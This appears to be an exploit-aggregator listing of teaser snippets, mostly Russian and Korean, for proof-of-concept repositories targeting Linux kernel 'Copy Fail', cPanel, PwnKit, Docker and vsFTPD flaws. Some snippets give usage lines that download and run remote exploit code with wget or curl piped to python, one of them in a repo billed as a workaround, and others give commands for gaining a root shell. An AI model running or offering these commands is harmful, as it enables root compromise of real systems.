CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC для CVE-2019-5736 Создано с помощью @singe, @cablethief и @feexd Протестировано на Ubuntu 18.04, Debian 9 и Arch Linux. Версии Docker 18.09.1-ce и 18.03.1-ce. Данный PoC в настоящее время не работает с Ubuntu 16.04 и CentOS. Посмотрите код эксплойта от Dragon Sector люди,...

FTP-vsFTPD-CVE-2011-2523-VAPT-Report

ОТЧЁТ VAPT: vsFTPD CVE-2011-2523 Цель: Metasploitable 2 Тестировщик: Аналитик безопасности Дата: 24 июня 2026 Область: Внутреннее лабораторное тестирование Kali Linux → Metasploitable 2 📌Краткое резюме Сканирование уязвимостей было выполнено с помощью скрипта сканирования уязвимостей Nmap против...

EUVD-2026-66332

Insufficient input validation in ABR allows a low-privileged user to inject malicious entries into the sudoers file, resulting in persistent root access that remained effective after the ABR session ended...

CVE-2026-31431-copy-fail

Эксплойт CVE-2026-31431 Copy Fail Часть 1: Теоретическая концепция Как работает CVE-2026-31431 Вместо того чтобы система постоянно получала файлы напрямую с медленного физического жёсткого диска — на что уходит много времени, — Linux создаёт временную копию файла в ОЗУ, известную как Page Cache...

ghostlock-app

GhostLock-App 中文: READMEZH.md Поддерживаемые устройства Ядро| Устройства ---|--- 6.1.118-android14-11-ga3b9c44908dd-ab13320413| Redmi Note 15 Pro+ 6.1.118-android14-11-gca0ef6d17716-ab13624819| Xiaomi 14 6.1.138-android14-11-g0c3d559bcd85-ab14529422| Xiaomi 14...

Penetration-Testing-Walkthrough-Hacksudo-Thor

HackSudo Thor: Полное прохождение тестирования на проникновение Цель: HackSudo Thor с VulnHub Задача: Получить root-доступ и прочитать /root/proof.txt Среда: Изолированная лаборатория VirtualBox, сегментированная межсетевым экраном pfSense Оглавление Обзор Сетевая топология Краткое описание цепоч...

CVE-2026-38577-by-deepak-Anmol

CVE-2026-38577 — Жестко заданные root-учётные данные в Tenda HG21 Сводка Поле| Значение ---|--- Идентификатор CVE| CVE-2026-38577 Производитель| Tenda Продукт| Tenda HG21 XPON-оптический модем Затронутая версия| V4.0.0-260302 Ключ продукта| HG21-V1.0-TDE01 Версия оборудования| V1.0 Дата сборки...

copy-fail

copy-fail CVE-2026-31431의 PoC 사용법: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

poc-cpanel-cve-2026-41940

POC cPanel CVE-2026-41940 CVE-2026-41940 를 탐지하기 위해 설계된 고성능 멀티스레드 보안 감사 도구입니다. 이는 cPanel & WHM에서 발견된 치명적인 인증 우회Authentication Bypass 취약점입니다2026년 4월 발견. 이 도구는 HTTP 헤더의 CRLF 인젝션 기법을 활용하여 cPanel 서비스 데몬cpsrvd이 무단 루트 액세스에 취약한지 식별합니다. 주요 기능 동적 포트 탐색 : 포트가 지정되지 않은 경우 표준 cPanel/WHM 포트2082, 2083, 2086, 208...

copy-fail-CVE-2026-31431-php

CVE-2026-31431 Copy Fail PHP PoC root@kitploit: www-data@jumpbox:/home$ id uid=33www-data gid=33www-data groups=33www-data www-data@jumpbox:/home$ uname -a Linux testbox 5.15.0-136-generic 147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x8664 x8664 x8664 GNU/Linux www-data@jumpbox:/home$ php...

CVE-2026-41940

CVE-2026-41940 Автоэксплойт Обзор CVE-2026-41940 — это proof-of-concept PoC эксплойт, нацеленный на cPanel/WHM. Данный эксплойт демонстрирует неаутентифицированный обход аутентификации с использованием CRLF-инъекции для утечки токенов безопасности и получения root-доступа к интерфейсу WHM, что...

CVE-2026-31431-RCE-Exploit

🔴 CVE-2026-31431 — "Copy Fail" 9년 된 리눅스 커널 로직 버그, 몇 초 만에 루트 권한 획득 개요 Copy Fail 은 리눅스 커널의 암호화 서브시스템algifaead에서 발견된 고위험 로컬 권한 상승LPE 취약점입니다. Theori 가 자사의 Xint Code AI 기반 취약점 연구 도구를 통해 2026년 4월 29일 에 발견하고 공개했으며, 이 결함으로 인해 권한이 없는 로컬 사용자가 읽기 가능한 모든 파일의 페이지 캐시에 4바이트의 제어된 데이터를 쓸 수 있고, 이를 활용해 2017년 이후 출시된...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail xpl0ited — infrar3d에 의해 제작됨 이 저장소는 CVE-2026-31431 Copy Fail 에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. CVE-2026-31431은 "Copy Fail"로 알려져 있으며, 거의 10년 동안 존재해 온 Linux 커널의 높은 심각도의 로컬 권한 상승LPE 취약점입니다. 이 취약점으로 인해 권한이 없는 로컬 사용자가 루트 액세스 권한을 얻을 수 있습니다. 사용법: root@kitploit: python3...

CVE-2021-4034

CVE-2021-4034 Очевидно, не оригинальный. Переработал, чтобы понять, что происходит. Кредиты https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt за обнаружение уязвимости! Другие PoC, которые помогли мне понять сплойт: https://github.com/berdav/CVE-2021-4034...

CVE-2021-4034

CVE-2021-4034 Простой PWNKIT-файл для получения прав root. | Только в образовательных целях. Что это? Это готовый и предварительно упакованный PWNKIT. Зачем? Я работаю над скриптом AUTO-PWNKIT для автоматизации pwnkit и буду использовать этот репозиторий. Инструмент AutoPwnkit AutoPwnkit:...

copy-fail

Copy Fail PoC Доказательство концепции для CVE=2026-31431 Эти скрипты повышают права любого обычного пользователя до root. Работает на большинстве дистрибутивов Linux и процессоров. Техническое описание на https://copy.fail...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash некоторые примеры использования: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix Одношаговое обнаружение и устранение последствий для серверов cPanel/WHM, скомпрометированных через CVE-2026-41940 и кампанию ботнета nuclear.x86. Что это такое 28 апреля 2026 года cPanel раскрыла информацию об уязвимости обхода аутентификации без предварительной...

CVE-2026-PSA-2026-00043-1

PSA-2026-00043-1 CVE-2026-PSA-2026-00043-1 Proxmox VE 7.0–8.0.3: неаутентифицированный обход аутентификации root с помощью одного запроса Пожертвования...

CVE-2021-4034

CVE-2021-4034 Эксплойт для повышения привилегий в polkit за один день Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой. Оригинальный advisory от настоящих авторов находится здесь PoC Если эксплойт сработает, вы сразу получите root-оболочку: root@kitploit:...